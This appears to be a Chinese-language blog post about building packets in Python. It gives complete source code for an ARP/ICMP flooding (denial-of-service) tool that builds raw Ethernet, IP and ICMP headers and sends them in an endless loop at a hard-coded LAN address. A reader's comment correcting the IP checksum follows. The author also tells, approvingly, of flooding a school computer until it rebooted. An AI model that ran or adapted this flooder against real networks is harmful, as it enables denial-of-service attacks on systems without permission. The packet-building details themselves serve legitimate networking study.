這一篇接在用Python寫一個簡單的Sniffer的後面
了解封包拆解的過程後,組封包也就沒那麼難以理解了
投影片一樣在Python 教育訓練課程裡
我在大學專題時,接觸了不少 DOS攻擊程式,其它還有木馬、蠕蟲等等
第一隻自已寫的DOS程式,一樣是使用 winpcap 寫的
當時除了是課程要求之外,實際上還為了測試網卡到底可以送多快
寫了一隻 ICMP Flooding,拿去學校電腦試引擎
記憶中好像是每秒可以打13萬左右,然後…電腦就重開機了…
學校的防火牆做得還不錯嘛…哼!
程式方面,因為時間不夠的關係
只寫了ARP和ICMP Flooding
原始碼
老實說,寫得沒有很好
- # -*- encoding: utf-8 -*-
- from __future__ import print_function
- import struct
- import socket
- import binascii
- import sys
- TESTCASE_ARP = 0
- TESTCASE_ICMP = 1
- Interface = "eno50332184"
- def arp_generator():
- arp = arp_header('448a5b468c24', '192.168.20.131', '000000000000', '192.168.20.1')
- eth = eth_header('448a5b468c24', 'ffffffffffff', '0806')
- frame = [eth, arp]
- return b''.join(frame)
- def icmp_generator(proto_base=socket.IPPROTO_RAW):
- payload = b"Hello World!"
- total_len = len(payload)
- # calc icmp checksum
- icmp_psh = icmp_header(0x08, 0x0, 0, 1, 1)
- icmp_check = checksum(icmp_psh + payload)
- icmp = icmp_header(0x08, 0x0, icmp_check, 1, 1)
- # Generate ICMP header only
- if proto_base == socket.IPPROTO_ICMP:
- return icmp + payload
- payload = icmp + payload
- total_len = len(payload)
- # calc ip checksum
- ip_psh = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234)
- ip_check = checksum(ip_psh + payload)
- ip_total_length = 20 + total_len # ip header default is 20, if no option
- ip = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234, Checksum=ip_check, Total_Len=ip_total_length)
- payload = ip + payload
- total_len = len(payload)
- eth = eth_header('000c29c2f9a4', '10c37b914fc9', '0800')
- frame = [eth, payload]
- return b''.join(frame)
- def checksum(data):
- length = len(data)
- s = 0
- n = length % 2
- # type(data) is bytes in python3
- if sys.version_info[0] > 2:
- for i in range(0, length - n, 2):
- s += data[i] + (data[i + 1] << 8)
- if n:
- s += data[-1]
- else: # type(data) is str, not bytes in python2
- for i in range(0, length - n, 2):
- s += ord(data[i]) + (ord(data[i + 1]) << 8)
- if n:
- s += ord(data[-1])
- while (s >> 16):
- s = (s & 0xFFFF) + (s >> 16)
- s = ~s & 0xffff
- return s
- def arp_header(SMAC, SIP, DMAC, DIP, HTYPE=0x0001, PTYPE=0x0800, HLEN=0x06, PLEN=0x04, OPER=0x01):
- """Generate arp header
- HTYPE : Ethernet = 0x0001,
- PTYPE : IPv4 = 0x0800,
- HLEN : IEEE 802 MAC addresses = 6,
- PLEN : IPv4 = 4,
- OPER : Request = 0x01; Reply = 0x02
- :return: arp header
- """
- return struct.pack("!HHBBH6s4s6s4s",
- HTYPE, PTYPE, HLEN, PLEN, OPER,
- binascii.a2b_hex(SMAC), socket.inet_aton(SIP),
- binascii.a2b_hex(DMAC), socket.inet_aton(DIP))
- def icmp_header(Type=0x08, Code=0, Checksum=0, id=0, seq=0):
- """Generate a ICMP header
- :param Type: Echo request = 0x08
- :param Code: 0
- :param Checksum:
- :return: icmp header
- """
- if Type == 0x08:
- return struct.pack("!BBHHH", Type, Code, socket.htons(Checksum), id, seq)
- else:
- return struct.pack("!BBH", Type, Code, socket.htons(Checksum))
- def ip_header(SIP, DIP, proto, version=0x04, IHL=0x05, DiffServ=0, ECN=0, Total_Len = 0, id=0, Flags=0x02, Frag_offset=0, TTL=0xff, Checksum = 0):
- """Generate ip header
- Version : 4,
- IHL : Header length / 4
- DiffServ : default is 0
- ECN :
- Total length: 20 ~ 65535
- id :
- Flags : Dont Fragment (DF) = 0x02; More Fragments (MF) = 0x01
- Frag_Offset :
- TTL : 0 ~ 255
- proto : Define the protocol used in the data portion of the IP data
- checksum :
- SIP : source IP address
- DIP : destination IP address
- :return: ip header
- """
- ip_ver_ihl = (version << 4) + (IHL & 0x0f)
- ip_serv_ecn = (DiffServ << 2) + (ECN & 0x03)
- ip_flag = (Flags << 13) + (Frag_offset & 0x1fff)
- return struct.pack("!BBHHHBBH4s4s",
- ip_ver_ihl, ip_serv_ecn, Total_Len, id, ip_flag,
- TTL, proto, socket.htons(Checksum),
- socket.inet_aton(SIP), socket.inet_aton(DIP))
- def eth_header(SMAC, DMAC, type):
- return struct.pack('!6s6s2s',
- binascii.a2b_hex(DMAC), binascii.a2b_hex(SMAC),
- binascii.a2b_hex(type))
- def linux_main():
- rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
- # Bind the interface, likes eth0
- rawSocket.bind((Interface, 0))
- if TESTCASE_ARP:
- # Generate a arp packet
- packet = arp_generator()
- elif TESTCASE_ICMP:
- # Generate a icmp packet
- packet = icmp_generator()
- else:
- print("No test case exist, quit")
- return
- # flooding here
- i = 0
- while True:
- i += 1
- print("\rSending {0}...".format(i), end='')
- rawSocket.send(packet)
- rawSocket.close()
- def windows_main():
- if TESTCASE_ARP:
- return
- elif TESTCASE_ICMP:
- rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
- # Generate a icmp packet
- packet = icmp_generator(socket.IPPROTO_ICMP)
- else:
- print("No test case exist, quit")
- return
- # Bind a interface with public IP
- HOST = socket.gethostbyname(socket.gethostname())
- rawSocket.bind((HOST, 0))
- print("Bind a interface : {0}".format(HOST))
- # flooding here
- i = 0
- while True:
- i += 1
- print("\rSending {0}...".format(i), end='')
- rawSocket.sendto(packet, ('192.168.20.129', 0))
- rawSocket.close()
- if __name__ == '__main__':
- if sys.platform.lower().startswith("win"):
- windows_main()
- else:
- linux_main()
本來是想寫成class,然後用繼承的方式
以後再說唄
板主你好,謝謝你的程式碼有幫助到我,所以我決定也來貢獻一點我的發現。我發現你的ICMP中IP層的checksum算錯,原因是line 40沒有先把ip_total_length加進去一起算checksum,導致結果不正確。
回覆刪除另外IP層計算checksum時,其實是不需要把他的payload一起丟進去算的,所以line 41寫成 ip_check = checksum(ip_psh)其實就可以了。至於為什麼結果還是會對,原因很簡單,因為payload的部份已經把checksum算好放進去,所以他的sum會是0x0000,不影響line 41的結果。
感謝